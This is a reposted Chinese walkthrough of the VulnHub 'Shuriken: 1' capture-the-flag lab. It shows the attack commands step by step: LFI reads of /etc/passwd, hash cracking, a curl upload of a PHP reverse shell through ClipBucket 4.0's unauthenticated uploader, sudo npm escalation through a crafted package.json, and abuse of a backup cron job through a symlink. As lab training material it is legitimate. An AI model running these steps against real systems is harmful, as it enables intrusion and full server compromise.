当前位置: 首页 > news >正文

Shuriken: 1靶场渗透

Shuriken: 1

来自 <https://www.vulnhub.com/entry/shuriken-1,600/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.149

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.149

8080/tcp(过滤,http-proxy 服务)—— 需警惕

字段

内容

风险解读与分析

STATE

filtered

端口被防火墙 / IDS 过滤,Nmap 无法判断是否开放(目标未返回 “open” 或 “closed” 响应,仅拦截请求)。

SERVICE

http-proxy(推测)

Nmap 基于端口默认服务推测为 “HTTP 代理”,但实际可能是其他服务(如 Tomcat、管理后台),因过滤无法验证。

4,尝试访问80端口的http服务

再扫描其子目录看看

gobuster dir -u http://192.168.23.149 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

http://192.168.23.149/login.html

http://192.168.23.149/secret/

5,下载网页里的图片

wget http://192.168.23.149/secret/secret.png 

但是这个图片没有因为隐写而藏匿内容。查看发现index.php页面的javascript

http://shuriken.local/index.php?referer=

http://broadcast.shuriken.local

6,添加一条域名解析

打开这个网页需要登录

https://broadcast.shuriken.local

直接利用提示过存在的文件包含漏洞读取/etc/passwd

http://shuriken.local/index.php?referer=/etc/passwd

再读取apache2的默认配置文件/etc/apache2/sites-enabled/000-default.conf

最后读取到密码

developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0

john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt

7,密码9972761drmfsls成功登录到网站

是基于 ClipBucket 搭建的网站。ClipBucket 是一款开源的视频分享脚本,常用于搭建视频分享、托管和流媒体网站 。版本是4.0,现在检索漏洞利用脚本

阅读技术文件,查看如何进行漏洞利用

一、背景信息

  • 产品名称:ClipBucket —— 一个开源的视频分享平台(类似 YouTube 克隆)。
  • 受影响版本:2.8.3 和 4.0.0(漏洞存在时的最新版本)。
  • 漏洞发现时间:2017 年 9 月。
  • 漏洞严重性:Critical(关键级别,能导致服务器完全被攻陷)。
  • 修复版本:4.0.0 Release 4902(但修复过程多次拖延,且部分问题未完全修复)。

二、漏洞类型概览

文中共披露了 三个主要漏洞,全部可以在未认证(即无需登录)的情况下被利用:

  1. OS 命令注入(Command Injection)
    • 攻击者可以在上传接口的 file_name 参数中插入恶意命令。
    • 这会导致服务器执行任意系统命令。
    • 不仅匿名攻击者可利用,已认证的普通用户也能利用。
  2. 任意文件上传(Arbitrary File Upload)
    • 通过 /actions/beats_uploader.php 或 /actions/photo_uploader.php 等接口,可以绕过认证上传 .php 文件。
    • 攻击者可以上传带有后门的脚本,从而在服务器上执行任意代码。
    • 登录用户上传头像时,也能利用这个漏洞。
  3. 盲注 SQL 注入(Blind SQL Injection)
    • 漏洞点在 /actions/vote_channel.php 和 /ajax/commonAjax.php。
    • 参数如 channelId、email、username 未做严格过滤,拼接进 SQL 语句中。
    • 攻击者能执行任意 SQL 语句,窃取数据库信息。

三、利用思路总结

文中提供了 PoC(概念验证),展示了攻击方式:

  • 命令注入
    利用 curl 上传文件时,在 file_name 参数后拼接 || <命令>。
  • 文件上传
    直接伪装成正常上传请求,将 .php 木马文件上传到服务器。
  • SQL 注入
    通过 POST 请求,构造恶意参数(如 ' or '1'='1)绕过验证或延时盲注。

这三个漏洞结合起来,攻击链是:

SQL 注入 → 获取管理员凭据 / 敏感信息

文件上传 → 部署 WebShell

命令注入 → 系统级控制,完全拿下服务器

四、安全风险

  • 服务器完全失陷(RCE、WebShell、Root 权限获取)。
  • 用户隐私、数据库数据泄露。
  • 网站被篡改或挂马。
  • 进一步作为跳板攻击内网。

五、修复与防护

  • 官方发布了 4.0.0 Release 4902 修复版本,但修复不彻底,补丁进度拖延。
  • 建议:
    1. 立即更新至官方修复版本
    1. 临时防护:WAF(Web 应用防火墙)、上传文件类型白名单、SQL 参数化查询。
    2. 最佳做法:最小权限原则 + 安全代码审计

六、经验总结

这个安全公告有代表性,体现了:

  1. 多漏洞叠加 → 攻击面巨大(上传 + SQL 注入 + 命令注入)。
  2. 认证缺陷 → 大量接口未做权限控制,导致“未认证攻击”。
  3. 补丁管理的重要性 → 即使发现漏洞,若厂商拖延修复,风险依然长期存在。

8,这里使用Unauthenticated Arbitrary File Upload(未认证任意文件上传),准备好反弹shell都木马,并且打开端口监听

构造语句进行漏洞利用

chmod 777 shell.php

curl --basic --user "developers:9972761drmfsls" -F "file=@shell.php" -F "plupload=1" -F "name=anyname.php"  http://broadcast.shuriken.local/actions/beats_uploader.php

访问http://broadcast.shuriken.local/actions/CB_BEATS_UPLOAD_DIR/1757537827e50246.php 触发反弹shell

9,创建一个可交互式shell,信息收集一下

python -c 'import pty;pty.spawn("/bin/bash")'

sudo -l看看提权操作

前用户 www-data 可以用 sudo 以 server-management 身份执行 /usr/bin/npm。其中NOPASSWD 表示不需要输入密码。这意味着 www-data 虽然权限很低(Web 服务用户),但能用更高权限用户的身份调用 npm。

npm 的风险点

  • npm run <script> 会去读取当前目录的 package.json 文件中的 scripts 字段。
  • 在执行脚本时,npm 会把里面的命令原封不动传递给系统执行。
  • 如果攻击者能控制 package.json,那么就能在其中定义任意系统命令。

构造恶意脚本

touch package.json
echo '{"scripts":{"dev":"/bin/bash"}}' > package.json

解释:

  • 新建一个 package.json 文件。
  • 定义一个脚本 "dev",内容是 /bin/bash。
  • 这意味着只要有人执行 npm run dev,npm 就会启动一个 bash。

利用 sudo 触发

sudo -u server-management npm run dev

解释:

  • 使用 sudo,以 server-management 身份执行 npm run dev。
  • npm 查找 package.json → 发现 "dev": "/bin/bash" → 执行 /bin/bash。
  • 最终效果:得到一个 server-management 用户权限的 bash shell。

提权原理总结

  • 核心利用点:sudo 允许低权限用户无密码执行 npm。
  • npm 特性:npm run 会执行 package.json 中的脚本,而脚本内容完全由用户可控。
  • 结果:攻击者通过伪造 package.json,让 npm run 执行任意命令,从而提权到 server-management 用户。

10,提权成功,在家目录得到第一个flag

上传运行pspy64进行提权信息收集

https://github.com/DominicBreuker/pspy?tab=readme-ov-file

python -m http.server

然后靶机下载下载程序

curl -O http://192.168.23.128:8000/pspy64

给文件执行权限

chmod 777 pspy64

./pspy64 -pf -i 1000

2020/12/03 06:04:01 CMD: UID=0 PID=2772 | /bin/bash /var/opt/backupsrv.sh

于是查看/var/opt/backupsrv.sh

该脚本是一个简单的文件备份工具,功能如下:

  1. 将/home/server-management/Documents目录下的所有文件,压缩打包为.tgz格式的备份文件
  2. 备份文件存放在/var/backups目录,命名格式为 “主机名 - 星期几.tgz”(如shuriken-Monday.tgz)
  3. 执行时会显示备份开始 / 结束时间,并列出备份目录的文件信息以便确认

11,删除/home/server-management/Documents文件夹,再做/etc到Documents的软连接,压缩成功后将其拷贝到/var/www/main,最后切换到www-data用户

rm ~/Documents -rf

ln -s /etc /home/server-management/Documents

cd /var/backups

cp /var/backups/shuriken-Sunday.tgz /var/www/main

http://192.168.23.149/shuriken-Sunday.tgz

下载压缩包,得到root.txt


文章转载自:

http://4UwJdPQV.smsjx.cn
http://P1uVraRI.smsjx.cn
http://L6ojzH3r.smsjx.cn
http://pTOqQ6QI.smsjx.cn
http://jqo7PSnX.smsjx.cn
http://yIwwZNBW.smsjx.cn
http://yaVEMSDi.smsjx.cn
http://Vt0CfL4f.smsjx.cn
http://wisaH2xx.smsjx.cn
http://H30PySmq.smsjx.cn
http://dCtyb0Qd.smsjx.cn
http://TSZtdMwU.smsjx.cn
http://g6tSrCVR.smsjx.cn
http://6W4eQmIU.smsjx.cn
http://h8RFDw23.smsjx.cn
http://fJGVipiI.smsjx.cn
http://SFZUm5V2.smsjx.cn
http://jJtlMkbs.smsjx.cn
http://Gh0S6Lts.smsjx.cn
http://bkVlJWxE.smsjx.cn
http://kHrNJ6St.smsjx.cn
http://wIeTsVBC.smsjx.cn
http://6tS2xMMO.smsjx.cn
http://yrwPG2ct.smsjx.cn
http://2pv6IFGC.smsjx.cn
http://u4xAZ8m5.smsjx.cn
http://cCNXI3p3.smsjx.cn
http://LOIOjjWy.smsjx.cn
http://cXal3Prv.smsjx.cn
http://YqcUOKDn.smsjx.cn
http://www.dtcms.com/a/376126.html

相关文章:

  • Pytorch基础入门4
  • 编程工具的演进逻辑:从Python IDLE到Arduino IDE的深度剖析
  • AWS SQS 可观测性最佳实践
  • 【C 语言生成指定范围随机数(整数 + 小数):原理、实现与避坑指南】
  • 【混合开发】vue+Android、iPhone、鸿蒙、win、macOS、Linux之android 把assert里的dist.zip 包解压到sd卡里
  • 【面试向】热门技术话题(上)
  • sklearn流行学习
  • 一次缓存引发的文件系统数据不一致问题排查与深度解析
  • 【测试开发/测试】初识测试:测试入门常见概念全知道
  • [智能算法]可微的神经网络搜索算法-FBNet
  • Python 编程小技巧
  • JVM新生代内存溢出怎么解决?
  • 《C++进阶之STL》【set/map 模拟实现】
  • elementUI表格高度异常问题排查思路
  • 光谱相机的图像模式
  • Spring Boot + MyBatis-Plus 单数据源多线程事务一致性实践
  • 考研论坛平台|考研论坛小程序系统|基于java和微信小程序的考研论坛平台小程序设计与实现(源码+数据库+文档)
  • Spring Boot `@Service` 互相调用全攻略:`@Autowired` vs `@Resource`
  • MySQL数据导出避坑指南:如何选择正确的工具并设计安全的备份策略?
  • 《算法闯关指南:优选算法-双指针》--01移动零,02复写零
  • ACD智能分配:轮流分配和排序上限分配的设置
  • DevOps实战(6) - 使用Arbess+GitHub+SonarQube实现Java项目自动化部署
  • 《WINDOWS 环境下32位汇编语言程序设计》第15章 注册表和INI文件
  • 【硬件-笔试面试题-81】硬件/电子工程师,笔试面试题(知识点:详细讲讲同步时钟与异步时钟通信)
  • 双RFSOC47DR-16通道5GSPS ADC采集模块
  • Linux学习笔记】信号的产生和用户态和内核态
  • SpringMvc常见问题
  • 在 CentOS 系统上实现定时执行 Python 邮件发送任务
  • 认知语义学对人工智能自然语言处理的影响与启示
  • 基于「YOLO目标检测 + 多模态AI分析」的植物病害检测分析系统(vue+flask+数据集+模型训练)